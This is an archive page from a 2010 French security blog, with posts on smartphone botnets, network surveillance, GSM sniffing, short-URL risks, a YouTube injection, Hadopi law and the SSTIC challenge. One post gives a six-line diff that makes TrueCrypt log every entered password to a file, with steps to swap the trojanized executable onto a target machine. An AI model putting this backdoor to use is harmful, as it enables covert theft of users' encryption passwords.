Source: http://exploitability.blogspot.fr/2010/
Timestamp: 2018-02-23 04:12:12+00:00

Document:
Exploitability: 2010
En ces jours de fin d'année, il est courant de lire différentes prospectives sur des sites et blogs parlant de sécurité informatique.
Mais il arrive parfois que les prospectives se révèlent vraies un peu trop vite, et c'est ce qui m'arrive. Je reprends un ancien brouillon de blog ou je préconisais l'arrivée de botnet spécialisés dans les smartphones. Apparemment, cette perspective devient rétrospective car ce botnet existe, il touche les plateformes Android et il s'appelle Geinimi. Le premier site à l'avoir analysé serait lookout. Pour moi, la sécurité des smartphones deviendra de plus en plus prégnantes.
Dans le domaine de la sécurité des smartphones, le risque qui revient systématiquement, c'est le "vol des informations personnelles", sans plus de précisions. A croire que votre score à bubble blast est ultra confidentiel. Plus sérieusement, ce risque existe, mais n'a rien de neuf puisqu'étant le même sur ordinateur qui lui aussi contient des informations personnelles. Je pense que l'on va vers de nouveaux risques avec ces botnets sur smartphones, nouveaux risques dont on entend peu parler.
Le premier est lié au téléphone et au DoS. Depuis wikileaks, on sait que les DoS ne sont plus qu'envois massifs de paquets, mais peuvent aussi être coupure des services du monde réel (banque par exemple). Comment réagir face à un botnet qui passe son temps à appeler par voie téléphonique le siège d'une entreprise?
Le second est peu ou prou lié. On observe de plus en plus de jeu ou il faut voter par SMS. Je pense que l'on va bientôt voir apparaître des services vaguement underground qui proposeront des envois massifs de SMS contre rétribution. Retour sur investissement immédiat. 10 euros les 1000 SMS afin que la star machin gagne une place au classement du jeu télé truc.
Le dernier va devenir par contre très ennuyeux. Le Near Field Communication va bientôt permettre de payer, énormément de monde montre son intêret en ce domaine.. Et lorsque votre téléphone sera trojanisé, que pourra faire un botmaster? Cela est à mon sens le plus gros risque des vers/virus/troyens et bots sur smartphones. Tous les attaquants ne sont pas uniquement ludique à la 4chan ou terroristes à la Stuxnet, certains sont bien évidemment cupides. Et là, c'est un accès direct au but. Inutile de passer par des mules avec des structures complexes, c'est du profit immédiat.
Espérons que cette perspective ne se réalisera pas, et pour 2011 have fun (and profit!) :-)
Publié par Kevin le 31.12.10 Aucun commentaire:
Le journal "Le canard enchaîné" de la semaine dernière nous gratifie d'une révélation: La DCRI inspecte nos machines à distances.
L'article est bref et n'apporte que peu d'informations techniques. Selon le canard, des personnels de la DCRI demanderaient aux FAI l'adresse (IP, vraisemblablement) d'un abonné et irait faire des cyber-écoutes secrètes dans les flux de l'abonné.
Léger flou dans l'article (qu'on retrouve sur pas mal de sites de presse on-line), le mélange entre la consultation du contenu de la machine de l'abonné et la consultation de ses flux réseaux. Avec le peu d'info de l'article, je pense qu'il s'agit d'écoutes sur les flux de l'abonné et non de cyber-perquisitions du disque dur. Je crois assez peu à ces cyber-intrusions. Beaucoup trop compliqué à mettre en oeuvre, et surtout le risque de se faire détecter est sans doute trop grand en rapport des informations qui peuvent être connues.
Par contre, l'écoute des flux...
La majorité des flux sont encore en clair (HTTP, SMTP, POP, IMAP etc..). Google essaye de forcer le HTTPS, il y a des extensions firefox pour cela, mais le fait est que les gens communiquent à mon avis encore trop en clair. Anecdote, on m'a fourni une analyse tcpdump à faire, le constat est sans appel, si ce n'est google, tout est en clair. Pour cette raison également, Firesheep fait peur :-)
Le chiffré est mieux, mais n'est sans doute pas suffisant. Il y a deux ans déjà, au SSTIC, une conférence indiquait déjà que la seule connaissance des flux chiffrés permettait de retracer les réseaux sociaux de la personne visée.
Pour faire bref, si vous avez connaissance des flux d'une personne, il est en effet inutile de tenter une cyber-intrusion. Et si les FAIs fournissent un accès à ce trafic, alors headshot, comme disent les gamers.
A partir du moment ou l'infrastructure n'est pas de confiance, comment communiquer sereinement sur le réseau?
Une réponse légale? Semble difficile. Un juriste m'a confirmé qu'une écoute réseau n'a rien à voir avec la loi sur les écoutes téléphoniques. Il m'a conseillé de vérifier ce qu'en dit la LOPPSI. Cet aspect serait à creuser: un prochain post de blog?
Néanmoins, il faudrait pouvoir prouver que l'écoute à bien lieu. Et là, techniquement, j'ai du mal à imaginer comment prouver qu'un flux est mis sur écoute. Il est possible de planter des fausses URL ou des faux noms de domaines et d'attendre voir si des connexions sont faites. Est-ce toutefois une preuve recevable?
En défense active, il existe tor. Mais tor lancé de chez soi est exposé au même problème que précedemment, i.e. quelqu'un consultant les émissions/réceptions pourrait reconstruire certains volumes de connexions, à corréler avec la réception chez d'autre personne. Il faut que tor envoie des flux arbitraires d'informations afin que ses propres connexions soient noyées en volume à l'intérieur. Pour se faire, on peut se transformer en exit node ou faire tourner des services qui discutent fréquemment sur le réseau; à ce titre, je laisse des clients IRC ouverts car ils génèrent du trafic sur le réseau.
L'autre solution est d'utiliser tor depuis un cybercafé qui permet ce genre de choses, ou de trouver des spots wifi ouverts en grand.
Il y a peut-être un truc à inventer, à l'image de la plausible deniability sur le chiffrement de disque, qui serait la plausible deniability en réseau; i.e. qu'un attaquant soit incapable de prouver qu'une communication réseau ait eu lieu.
Publié par Kevin le 8.12.10 2 commentaires:
sniff sniff, ça sent le GSM!
C'est un fait connu, l'industrie de la sécurité se penche de plus en plus vers les smartphones (ordiphones selon l'académie) et les communications sans-fils. On entend parler que le GSM est broken, et qu'il ne faut plus l'utiliser. Est il réellement possible avec du matériel standard d'écouter des conversations GSM?
Tout d'abord, on trouve des sociétés commerciales comme par exemple celle-ci: http://www.cellularintercept.com/ Passons. En 2008, la blackhat indiquait une écoute à 900$US.
Les recherches mènent vite au logiciel airprobe:
AirProbe is the new home of the former GSM-Sniffer project. The goal is to build an air-interface analysis tool for the GSM (and possible later 3G) mobile phone standard. The prime motivation is to learn the details of the technology, help people who develop other open GSM technology (like OpenBTS, OpenMoko?, BS11/OpenBSC and others) and demonstrate the insecurity of the current standard.
La page de garde d'airprobe est bien faite et sépare le problème en trois phases:
1/ L'écoute des ondes radios. Basée entre autre sur le travail fait par GNURadio. Il s'agit bien évidemment d'une phase d'acquisition matérielle.
2/ La démodulation qui transforme ces ondes en paquets d'octets. Un PC de bureau devrait suffire, même s'il est conseillé d'utiliser des FPGA.
3/ Le déchiffrement de ces octets. Ce troisième point est donc l'information intéressante. Airprobe n'est pas intéressé par le déchiffrement real-time, seulement un déchiffrement en best effort pour montrer l'insécurité du GSM.
La seule board capable d'écouter les ondes GSM semble être l'USRP. Elle existe à deux tarifs: v1 pour 700$, v2 pour 1400$, le site d'airprobe est bien documenté la dessus. Pour la démodulation, c'est effectivement un peu flou. La page du wiki est vide... Et quant au déchiffrement, rien de bien probant non plus. La lecture du site montre que c'est en cours https://svn.berlin.ccc.de/projects/airprobe/wiki/DeCryption , sans plus; je cite:
"Our ultimate goal is to crack A5/1:
1. by only intercepting data (passiv)
2. require less than 4Terabyte HD.
3. able to decrypt short encrypted bursts (like SMS, last less than 0.1 seconds).
4. Cracking time less than 1 day. "
Donc un logiciel (libre) existe pour casser du GSM, mais il n'est pas encore terminé... Airprobe sera-t'il un jour au GSM ce que aircrack est au Wifi?
Un autre papier publié récemment, http://www.sans.edu/resources/student_projects/201004_30.pdf résume bien l'état de l'art: "There is published research that significantly reduces the level of effort to sniff on GSM cell calls. The attack is still non-trivial and does require some knowledge and resources." (ce papier a de nombreux autres liens très intéressants dans sa biblio). Pour le cassage d'A51 c'est par ici http://reflextor.com/trac/a51, avec un bon résumé.
Le résultat est donc mitigé:
Théoriquement c'est cassé, en pratique on y arrive pas encore de manière accessible...
En sécurité informatique, ce qui ne se voit pas est il inexistant? Faut il continuer de faire confiance au GSM?
Publié par Kevin le 28.10.10 Aucun commentaire:
High skillz obfuscator javascript !
En suivant un page web, je tombe sur du javascript qui est obscurci par une méthode proprement révolutionnaire :-)
C'est entre autre une variable de plus de 60000 (soixante mille !) caractères qui ressemble à ceci: Ami lecteur, trouveras tu toi aussi la méthode d'obfuscation?
Une fois dés-obscurcie et remise en ordre, ce javascript renvoie vers un packupdate107_2121.exe qui est peu reconnu par la liste des antivirus. Kaspersky:néant. Microsoft essential: néant. Clamav: néant. 9/34 l'indiquent comme malicieux.
Je joins le rapport virustotal.
Edit: 5 octobre 2010.
La sauce prend, ça se réveille doucement. Une analyse du 2 octobre,
VirusTotal indique 19 sur 41.
Avec une autre analyse aujourd'hui, le 5 octobre, virustotal indique 30 sur 42.
Encore un effort et il devrait être détecté de partout :-)
Publié par Kevin le 1.10.10 Aucun commentaire:
UVB-76 UVB-76 t i n y u r l 3 4 8 7 4 9 6 -- UVB-76 UVB-76 t i n y u r l 3 4 8 7 4 9 6
Les sites raccourcisseurs d'URL deviennent de plus en plus en courant. Un des plus connu d'entre eux est tinyurl. Le principe en est simple. Tinyurl enregistre une base de données entre une URL longue, comme par exemple http://www.domaine.com/repertoire/sous-repertoire/code.extension?var=veryveryverylongvalue&var2=value et une URL de taille fixe, courte, comme: http://tinyurl.com/(7 caractères). Un clic sur l'URL courte redirige vers l'URL longue.
Ces raccourcisseurs d'URL ont connu une popularité grandissante entre autre grâce à twitter qui limite le nombre de caractère.
tinyurl est intéressant du point de vue de la sécurité car il a participé à des attaques informatiques. Il y a eu l'attaque réussie contre apache http://tinyurl.com/2w667ej. Plus dernièrement un développeur d'openBSD s'est fait pister vie une tinyURL. Un développeur pensait pouvoir poster sous pseudo de manière anonyme, un développeur lui a donc envoyé un mail avec un lien tinyurl. Ce lien pointait chez le second développeur afin de logger l'IP de la personne cliquant dessus, l'histoire est indiqué ici: http://bit.ly/9SFh4K.
Dans les deux cas, le principe est le même: la personne visée clique en confiance sur le lien tinyurl, ce qui la mène à sa perte :-) Pour l'internaute avisé, il est toujours agaçant de devoir cliquer sur une URL raccourcie sans savoir ou l'on va tomber.
Comment faire donc pour "voir avant" ou l'on arrive? Quelques add-ons firefox existent, mais je ne les ai pas testé. Il existe des méthodes fonctionnant sous tous les navigateurs pour agrandir ces URL.
-TinyURL: le plus simple consiste a activer le cookie de non-redirection, cf http://tinyurl.com/preview.php. Tout clic sur un lien tinyurl présentera le lien de redirection complet. C'est extrêmement utile, à se demander pourquoi tout le monde ne le fait pas par défaut! Une autre méthode consiste à copier-coller le lien en ajoutant preview dans l'URL, par exemple: http://preview.tinyurl.com/2w667ej
-Bit.ly: apparemment, aucun mécanisme de preview n'existe comme avec tinyurl. Toutefois, il est possible d'ajouter un + à la fin de l'URL pour en voir les statistiques, ex: http://bit.ly/9SFh4K+, de ce fait, détourné, on peut voir ou envoie le lien.
-Pour les nombreux autres sites de preview, il existe la méthode netcat en one-liner:
kevin@slackware:~$ printf 'GET http://bit.ly/9SFh4K \
HTTP/1.1\r\nHost: bit.ly\r\n\r\n' | nc bit.ly 80
et faire de même pour les autres sites en adaptant l'URL, le Host et le domaine. Le rendu sera une code très explicite indiquant ou renvoie le code 301.
Publié par Kevin le 25.8.10 3 commentaires:
En recherche pour un travail préparatoire, j'ai eu a étudier Truecrypt. Truecrypt est un logiciel de chiffrement solide, ayant l'avantage de proposer en standard un système de Plausible Deniability. De plus, il a eu les honneurs de la presse on-line puisqu'il a empêché le FBI d'accéder à des données.
A l'époque, je m'étais interrogé: pourquoi donc est-ce que le FBI n'a pas accédé une première fois à la machine concernée pour lui corrompre son programme TrueCrypt avant de saisir sa machine? A noter que le disque système n'était pas chiffré, seul un container ayant les documents confidentiels était protégé par Truecrypt.
Est-il si compliqué que de le modifier pour qu'il logue les mots de passe quelque part? Il s'agit en effet d'un programme open source. La réponse tient en 6 lignes de code.
Voici donc comment faire pour récupérer les mots de passe de Truecrypt.
1/ Récupérer les sources de Truecrypt
2/ Lire le source de Mount.c et ajouter 6 lignes pour que chaque mot de passe entré dans la bonne case aille s'enregistrer dans un fichier.
3/ Recompiler
4/ Changer le truecrypt.exe sur la machine visée par le truecrypt.exe recompilé
5/ Profit
Le diff du fichier Mount.c :
$ diff Mount*
3455a3456,3463
> /// HACK
> FILE *file = fopen("c:\\windows\\temp\\hack.log", "a");
> fprintf(file, "Trying password for '%s' was \"%s\"", szFileName, VolumePassword.Text);
> fclose(file);
> /// UnHACK
3463a3472,3481
> fprintf(file, " ... status %d [%s]\n", mounted, (mounted > 0) ? "OK" : "ko");
Et j'offre le fichier Truecrypt.zip (le .exe) modifié en téléchargement. [ Edit 01/09/2010: Fin du téléchargement. ] Les .sys sont identiques entre la version originale et cette version. L'exe modifié est de plus un peu plus petit que l'original :-) Il est donc de fait possible d'ajouter quelques octets pour qu'il fasse une taille équivalente à l'original.
[ Testé en mode Truecrypt portable sur un XP SP3 32bits, fonctionne avec les mots de passe, pas les fichiers de clés. Thx 2 MGE. ]
Publié par Kevin le 2.8.10 12 commentaires:
TCP/IP security is boring
Je lis petit à petit les slides et articles fournis dans les actes du SSTIC 2010. Les conférences d'Harald Welte ont attiré mon attention, et plus particulièrement la phrase:
Don’t you too think that TCP/IP security is boring?
Et effectivement, la sécurité de TCP/IP, c'est quand même relativement mort.
Quelques questions pour s'en rendre compte..
Une connexion TCP, c'est un three-way handshake? Vous connaissez surement, mais le four-way handshake? Le prochain big-one qui dev(r)ait faire tomber internet à cause de TCP, vous connaissez? Et nkiller2, vous avez pris le temps d'étudier? Quelles mesures avez vous prises? Le filtrage de paquet de votre réseau, vous le faites encore, ou bien vous l'avez infogéré à un presta externe? Et vous avez utilisé un simple rideau, un double rideau? Les flags TCP, il y en a combien? 6 ou 8? Les hidden treasures d'iptables, vous avez étudié ça? Tiens d'ailleurs, et qu'est ce qui fonctionne le mieux, pf ou iptables? Le meilleur moyen de scanner discrètement un hôte, c'est le Xmas, ou bien une autre combinaison? Je me souviens qu'à une époque, il suffisait d'évoquer la légalité des scans de port sur n'importe quel forum pour déclencher des trolls homériques. Aujourd'hui, tout ça c'est le néant. On lit à longueur de forums qu'il est possible de spoofer des connexions TCP fiablement et durablement sans que plus personne ne s'émeuve de la bêtise.
Je crois qu'Harald a raison, vous n'avez sûrement pas du cliquer sur plus de deux liens dans le paragraphe la dessus. TCP/IP security is boring. Cela va faire 15 ans qu'on en fait, qu'on sait comment ça marche, pourquoi vouloir continuer à lire et dépiauter les RFCs? TCP/IP, ça "juste marche". Même lorsque les menaces sont réelles, c'est tout juste si on en entend parler. En 2000, le remote root sur pile IP faisait rêver tout le monde. Le programmeur qui aurait pu le faire aurait été sans doute considéré comme un demi-dieu vivant de la sécurité. Puis c'est arrivé, sous windows et vraisemblablement un autre sous linux. Ca n'a été traité que comme d'autres bugs de sécurité: on voit, on corrige, on patche.
Dans le temps, oui, la "TCP/IP security" était excitante. Mitnick qui a su, lui, faire du spoofing intelligement ;) . Les filtres de paquets qui passaient de stateless à statefull, les options TCP les plus obscures qui permettaient de traverser du firewall. Mais aujourd'hui, à peu près tous les filtres IP se valent et la discussion va plus porter sur le prix de la solution et/ou la facilité d'utilisation que sur les qualités du produit...
La sécurité de TCP/IP n'intéresse plus le monde de la sécurité. Si on regarde les actes du SSTIC 2010: rien sur la sécurité TCP/IP. 2009: rien non plus. Il faut remonter à 2008 pour avoir une (1!) conf qui a pour sujet quelques fonctionnalités liées à TCP/IP... L'année d'avant une seule conf aussi, ça parle d'IPv6.
Don't you too think that TCP/IP security is boring?
Publié par Kevin le 14.7.10 1 commentaire:
Lien vers l'article (500ko), lien vers les slides (6Mo).
Publié par Kevin le 7.7.10 Aucun commentaire:
Je sens un parfum d'injection sur youtube...
[EDIT]: C'est corrigé chez youtube. Ils sont rapides.
Youtube ne serait pas protégé contre les injections?
On vient de m'envoyer un lien youtube présentant une caractéristique curieuse:
http://www.youtube.com/watch?v=cNvJy0zoXOY. La vidéo s'entend bien, mais on ne voit que ceci:
Ma machine n'est pourtant pas infectée...
Il s'agit d'une injection réalisée par un des commentaires de la vidéo, celui de XZI7:
Une commande MARQUEE, enrobée dans un H1, le tout dans un script avec une balise presque fermée suffit. Résultat, on ne peut lire que le BAHAHAHAAHAH qui défile sur un fond noir. Ces prochains jours, je vais m'abstenir d'aller sur youtube, il y a sûrement un gars plus retors qui voudra essayer d'injecter du code plus offensif...
Je ne voudrais pas une fois de plus jouer sur l'air de "la sécurité est un échec" [(c) Newsoft], mais le fait que Google laisse passer ce genre d'injection laisse tout de même songeur.
Une rapide étude montre que l'injection se fait via le paramètre IF_HTML_FUNCTION. Une recherche google montre la propagation de la faille.
Publié par Kevin le 4.7.10 Aucun commentaire:
Dessine-moi une Hadopi
L'hadopi est une loi et une Haute Autorité chargé de veiller au respect des droits d'auteurs fort contestée.
Dernièrement, nous avons pu voir deux logiciels censés être des logiciels de sécurisation. Le premier par un fournisseur d'accès au nom d'agrume, le second nommé hadopi-protect, ce qui relève d'un certain art de l'à-propos.
Inutile de le préciser, ces deux logiciels ont été des FAIL, des Epic Fail, des échecs épiques dont la moitié de l'internet continue de rire.
Ce désastre était pourtant attendu. Il était absolument évident, du fait de la popularité (si l'on peut dire) d'Hadopi dans le monde des internautes, que le moindre de ces logiciels de sécurisation allait faire l'objet d'une étude en règle et se faire disséquer jusqu'au dernier octet. Pourtant, des décideurs ont choisi de publier (et vendre) ces logiciels. On ne peut leur opposer un argumentaire technique (ils n'y connaissent vraisemblablement rien en informatique), mais la simple évocation d'une armée d'internautes prêt à en découdre aurait du les en dissuader. Toutefois, ces logiciels ont été écrits, puis publiés.
Mais une question me taraude. Ce logiciel de sécurisation surfant sur les préconisations de la hadopi, à quoi est-il censé servir? On a entendu parler d'un fameux logiciel de sécurisation pendant les débats parlementaires, mais aujourd'hui, où en sommes-nous? J'ai passé du temps sur legifrance et le site du conseil constitutionnel pour savoir à quoi peut bien servir ce logiciel et quelles sont les missions de sécurisation qu'il est chargé de remplir. La réponse est surprenante.
( CC signifie Conseil Constitutionnel )
Acte premier, la loi du 12 juin 2009
1/ De l'intérêt de comprendre l'intention du législateur: l'étude des dispositions du projet de Loi n°2009-669 du 12 juin 2009 favorisant la diffusion et la protection de la création sur internet
(extrait du site de l'Assemblée nationale / Sénat: http://www.senat.fr/leg/tas08-081.html)
Trois dispositions intéressent l'obligation de sécurisation de la connexion internet dans ce projet de loi :
L'article 4 du projet de loi supprime l'actuel article L. 335-12 du code de la propriété intellectuelle, qui fait peser sur l'abonné à internet une obligation de veiller à ce que son accès ne fasse pas l'objet d'une utilisation portant atteinte aux droits de propriété littéraire et artistique, par coordination avec la création d'un nouvel article L. 336-3 (introduit par l'article 11 du projet de loi) qui précise le contenu de cette obligation, l'assortit d'une sanction et détaille les clauses exonératoires de responsabilité.
L'article 6 (devenu ultérieurement article 5, la lisibilité des textes est un bonheur) du projet de loi crée l'obligation, mise à la charge du titulaire d'un accès à des services de communication au public en ligne par l'actuel article L. 335-12, de veiller à ce que cet accès ne fasse pas l'objet d'une utilisation qui méconnaît les droits de propriété littéraire et artistique.
Les alinéas suivants prévoient les clauses d'exonération. Ils disposent que la responsabilité du titulaire de l'accès ne peut être retenue lorsque le titulaire de l'accès a mis en œuvre un des moyens de sécurisation définis en application de l'article L. 331-30. Ils écartent également la responsabilité de l'abonné lorsqu'un tiers a frauduleusement accédé au service, à moins que cette personne ne se trouve placée sous l'autorité ou la surveillance de l'abonné. Ils prévoient enfin le cas de force majeure.
L'article 8 modifie le 1° du I de l'article 6 de la loi n° 2004-575 du 21 juin 2004 pour la confiance dans l'économie numérique. Il a pour objet de prévoir que les fournisseurs d'accès informent leurs abonnés de l'existence de moyens techniques permettant de prévenir l'utilisation frauduleuse de leur accès à internet - moyens techniques dont la mise en oeuvre permet au titulaire de faire jouer la clause exonératoire prévue à l'article L. 336-3 du code de la propriété intellectuelle. En revanche, il ne contraint pas les fournisseurs d'accès à proposer de tels dispositifs, contrairement à ce que prévoit le même article de loi du 21 juin 2004 pour ce qui concerne les moyens techniques permettant de restreindre l'accès à certains services ou de les sélectionner (dits « de contrôle parental »).
Acte deux, ou la saisine du conseil constitutionnel et ses conséquences
2/ Les articles du projet de loi précité avaient pour conséquence d'insérer dans le CPI (code de propriété intellectuelle) une nouvelle version de l'obligation de sécuriser sa connexion internet assortie de sanctions en cas d'inexécution et de possibilités d'exonération de ses sanctions dès lors que l'internaute installait des programmes dits « mouchards ». Cependant, ces textes ont été déclaré partiellement non conforme à la Constitution par la décision n° 2009-580 DC du 10 juin 2009. Les parties en rouge n'ont jamais été promulguées (autrement dit elles n'existent pas):
L'article 11 de la loi LCI introduit au chapitre VI du titre III du livre III de la première partie du CPI l'article L. 336-3 ainsi rédigé
« Art. L. 336-3. - La personne titulaire de l'accès à des services de communication au public en ligne a l'obligation de veiller à ce que cet accès ne fasse pas l'objet d'une utilisation à des fins de reproduction, de représentation, de mise à disposition ou de communication au public d'oeuvres ou d'objets protégés par un droit d'auteur ou par un droit voisin sans l'autorisation des titulaires des droits prévus aux livres Ier et II lorsqu'elle est requise.
« Aucune sanction ne peut être prise à l'égard du titulaire de l'accès dans les cas suivants :
« 1° Si le titulaire de l'accès a mis en oeuvre l'un des moyens de sécurisation figurant sur la liste mentionnée au deuxième alinéa de l'article L. 331-32 ;
« 2° Si l'atteinte aux droits visés au premier alinéa du présent article est le fait d'une personne qui a frauduleusement utilisé l'accès au service de communication au public en ligne ;
« Art. L. 331‑30 L. 331‑32. – Après consultation des concepteurs de moyens de sécurisation destinés à prévenir l’utilisation illicite de l’accès à un service de communication au public en ligne, des personnes dont l’activité est d’offrir l’accès à un tel service ainsi que des sociétés régies par le titre II du présent livre et des organismes de défense professionnelle régulièrement constitués, la Haute Autorité rend publiques les spécifications fonctionnelles pertinentes que ces moyens doivent présenter pour être considérés, à ses yeux, comme exonérant valablement de sa responsabilité le titulaire de l’accès au titre de l’article L. 336‑3.
« Au terme d’une procédure d’évaluation certifiée prenant en compte leur conformité aux spécifications visées au premier alinéa et leur efficacité, la Haute Autorité établit une liste labellisant les moyens de sécurisation dont la mise en œuvre exonère valablement le titulaire de l’accès de sa responsabilité au titre de l’article L. 336‑3. Cette labellisation est périodiquement revue.
Acte trois, le retour d'Hadopi, tentative de mise en conformité à la jurisprudence du CC
3/ L’obligation de surveillance de l’accès à internet aujourd'hui
3-1/ Absence de sanction ayant leur fondement sur la loi LCI précitée
L’ensemble du dispositif institué par la loi repose sur le manquement à l’obligation de surveillance de l’accès à internet institué par le premier alinéa de l’article L. 336-3 du code de la propriété intellectuelle ainsi rédigé dans sa version issu de la loi de juin 2009: « La personne titulaire de l’accès à des services de communication au public en ligne a l’obligation de veiller à ce que cet accès ne fasse pas l’objet d’une utilisation à des fins de reproduction, de représentation, de mise à disposition ou de communication au public d’oeuvres ou d’objets protégés par un droit d’auteur ou par un droit voisin sans l’autorisation des titulaires des droits prévus aux livres Ier et II lorsqu’elle est requise. »
Si cette obligation a été validée par le CC, tout le système de sanction et les modalités d'exonération de ces dernières est tombé (notamment, l'article L 331-32 du CPI a été déclaré non conforme à la Constitution) par la décision du CC (cf l'analyse des Cahiers du CC dispo à l'adresse suivante - source officielle du CC:
http://www.conseil-constitutionnel.fr/conseil-constitutionnel/root/bank/download/2009-580DC-ccc_580dc.pdf )
On a donc une obligation figurant à l'article L 336-3 du CPI, qui n'est plus sanctionnée par la loi LCI et dont tout le système d'exonération de sanction n'a plus de fondement juridique de fait. En clair, suite à la promulgation de la loi dite « HADOPI », cette autorité ne peut légalement homologuer quelque logiciel que ce soit de quelque provenance qu'il soit puisque cette homologation devait faire l'objet d'une procédure fondée sur un décret pris en Conseil d'Etat en application de l'article L 331-32 du CPI tel qu'issu de la Loi LCI. Or cet article a été déclaré non conforme à la Constitution! Il n'est donc jamais devenu un article de loi en vigueur et donc ne crée aucune obligation.
Mais le Gouvernement s'est remis à l'ouvrage et a décidé d'adopter de nouvelles dispositions législatives pour introduire tout de même des sanctions pour non respect de l'obligation de sécurisation de la ligne internet tout en respectant les principes posés par le CC.
3-2/ La modification de l'article L 336-2 du CPI par la loi n° 2009-1311« protection pénale de la propriété littéraire et artistique sur Internet » et l'introduction de sanctions
« L’objectif affiché par le projet de loi est de conduire à son terme le dispositif de riposte graduée contre les atteintes aux droits d’auteur commises sur internet, en tirant les conséquences de la censure du 10 juin 2009 À cette fin, le projet de loi poursuit deux orientations principales. D’une part, il soumet le jugement des délits de contrefaçon commis sur internet à des règles de procédure pénale particulières (jugement à juge unique et procédure simplifiée). D’autre part, il institue deux peines complémentaires de suspension de l’accès à un service de communication au public en ligne. L’une, délictuelle, est destinée à réprimer les contrefaçons commises au moyen de ce type de service, l’autre, contraventionnelle, vise certaines contraventions de la cinquième classe qui auront vocation à figurer dans la partie réglementaire du code de la propriété intellectuelle (CPI) » (commentaire tiré de ce document).
Pour faire bref, « les questions constitutionnelles que tranche la décision du 22 octobre 2009 sont de nature assez différente de celles traitées dans la décision du 10 juin 2009. L’essentiel de la décision du 22 octobre 2009 porte, en effet, sur la question de la répartition entre la compétence du législateur et celle du pouvoir réglementaire en matière de lois pénales et de procédure pénale » (tiré du même document).
Fin de cet intermède juridique (si vous avez déjà débuggé du code noyau, sachez que c'est un plaisir après avoir suivi les méandres des textes de lois :-) ).
Aujourd'hui, la loi parle donc toujours de la sécurisation de l'accès à internet. Sauf que:
En cas de litige avec la Hadopi, aucun logiciel de sécurisation ne peut servir à s'exonérer de la sanction.
La Hadopi n'est habilitée à homologuer aucun logiciel.
La Hadopi ne peut pas obliger à employer un logiciel de sécurisation.
Reste donc ce fameux (fumeux?) logiciel de sécurisation. N'importe lequel fera l'affaire, puisqu'il ne sert à rien. Et d'ailleurs, il n'y a aucune pertinence à y avoir recours si ce n'est acheter un produit commercial et marketing. Cependant, notons que ce produit n'apporte aucune protection sur le terrain juridique (je vous laisse seul juge du terrain technique).
Publié par Kevin le 23.6.10 2 commentaires:
Le challenge SSTIC2010 est terminé.
Tous les ans, le SSTIC propose un challenge ouvert à tous en lien avec la sécurité informatique. Cette année, le concours est organisé par l'ANSSI. L'ANSSI est l'agence gouvernementale dérivant de la DCSSI, suite aux recommandations du livre blanc sur la défense nationale. Elle a volonté de devenir autorité dans les systèmes de sécurité informatiques. A mon avis il n'y a pas de hasard quant à la présence de l'ANSSI comme organisateur du challenge cette année. Quitte à faire phosphorer des participants, autant leur montrer la direction :)
Débutons par la recherche de la personne qui a créé ce challenge. Généralement, si l'auteur est connu, il a publié un certains nombres de conférences ou d'articles, il est facile de cerner le domaine d'activité ou les pistes générales de résolution. Ici, l'identité de l'auteur n'est pas connue. Dommage. Pas de labo smartphones sur le site de l'ANSSI, pas de publication non plus.
Il s'agit d'un challenge de forensics sous linux, d'un CPU ARM, du système Android. Après quelques recherches rapides, on apprend que le fonctionnement des programmes sous Android utilise une machine virtuelle appelée Dalvik, grossièrement comparable une machine Java, et que le format d'exécutables est de type .dex, optimisé à chaud en .odex.
Revenons à l'ANSSI. Quel a été son but en proposant ce challenge? Je ne pense pas qu'il s'agisse de savoir si les participants savent utiliser les commandes strings et grep ;)
Pour décompiler du code dex, ça a été fait juste avant le challenge: http://www.illegalaccess.org/undx/ . Pour décompiler de l'odex ça existe depuis un peu plus de temps: http://code.google.com/p/smali/
Mais comment analyser cette RAM? Il existe des outils d'analyse de dump mémoire sous windows: http://www.moonsols.com/. Certains vieux trucs, non cités ici, permettent dans certains cas de lire une image mémoire sous linux avec un noyau patché.
Sinon, côté outil d'analyse de RAM sous linux, c'est le néant. Et je pense que c'est ce qu'attends l'ANSSI! A ce titre, le double concours est clair. Il est clairement indiqué qu'ils attendent non seulement la solution, mais surtout une explication détaillée de celle-ci. Je pense à ce titre que la valeur monétaire d'un outil de forensics sous linux dépasse de loin la valeur des lots :) [ Wild Guess de ma part, je n'ai pas de chiffre en tête. ]
Quel serait cet outil dans ce cas? A mon avis, pour s'approcher de la solution, il faut recréer la table des process dans l'image mémoire. Un process est une structure, définie dans <linux/sched.h> task_struct. Les process font partie d'une liste doublement chaînée.
Yapluka trouver un process dans le dump Android, remonter la chaîne reconstruire l'équivalent de /proc/ et de lister les fichiers ouverts, les lignes de commandes utilisées, les arguments, etc.. Le process initial cible évident semble être init, de pid 1. Je dis "yapluka", je pense qu'on doit vite tomber dans pas mal de subtilités, et ça explique pourquoi je n'ai pas poussé mon idée. Une fois les fichiers trouvés, à mon avis, il faut iliser undx et/ou baksmali pour comprendre le code, faire l'opération inverse, et voir afficher "Bravo ! Va lancer le binaire" ;)
Est-ce que le challenge SSTIC cette année consistait pour l'ANSSI de créer des outils de forensics? Je me trompe peut-être, j'espère que l'intégralité des solutions seront fournies sur le site du SSTIC, elles seront sûrement intéressantes à consulter. Réponse le 10 juin.
Publié par Kevin le 2.6.10 6 commentaires:
route del default (ou: "et si on réglait définitivement les problèmes de sécurité du LAN" )
La sécurité informatique est un domaine de recherche qui couvre un large spectre de menaces. Certains se spécialisent en reverse engineering, d'autres en spécialistes d'intrusions, en ingénierie sociale, en cryptographie, en protection des réseaux et bien d'autres activités encore.
Le LAN, comme dont je fais référence dans cet article est un réseau d'entreprise, connecté à internet. Ces LANs sont bien évidemment 'at risk'. Les firewalls aujourd'hui fonctionnent relativement bien et les attaques frontales ne sont plus très efficace. Par contre, on observe un énorme regain d'intérêt sur les attaques visant le poste client. Un attaquant cherchera a pousser un poste client à aller chercher lui-même sur internet une charge offensive qui lui permettra de prendre le contrôle de la machine afin soit de rebondir, soit d'extraire des données.
Pour un administrateur SSI (Sécurité des Systèmes d'Informations), la tâche consistant à sécuriser son LAN et éviter ce genre d'attaques revient à une mission impossible pour deux raisons majeures.
La première est évidente: les utilisateurs sont des simples utilisateurs, non conscients des impacts sécuritaire. Lorsqu'un mail d'un "ami" leur arrive et leur demande de cliquer pour voir une video "marrante", ils cliquent, installent un "codec" au besoin, cliquent encore trois ou quatre fois sur des fenêtres de confirmation et se sont fait pirater.
La seconde raison concerne le patch management. En effet, il semble devenu acquis qu'il est impossible de maintenir un parc conséquent à jour. Des virus comme Conficker parviennent à infecter des larges organisations alors même que le virus soit apparu suite au correctif! Ce document et les liens afférents confirme que la cible du "up-to-date" ne sera jamais atteinte.
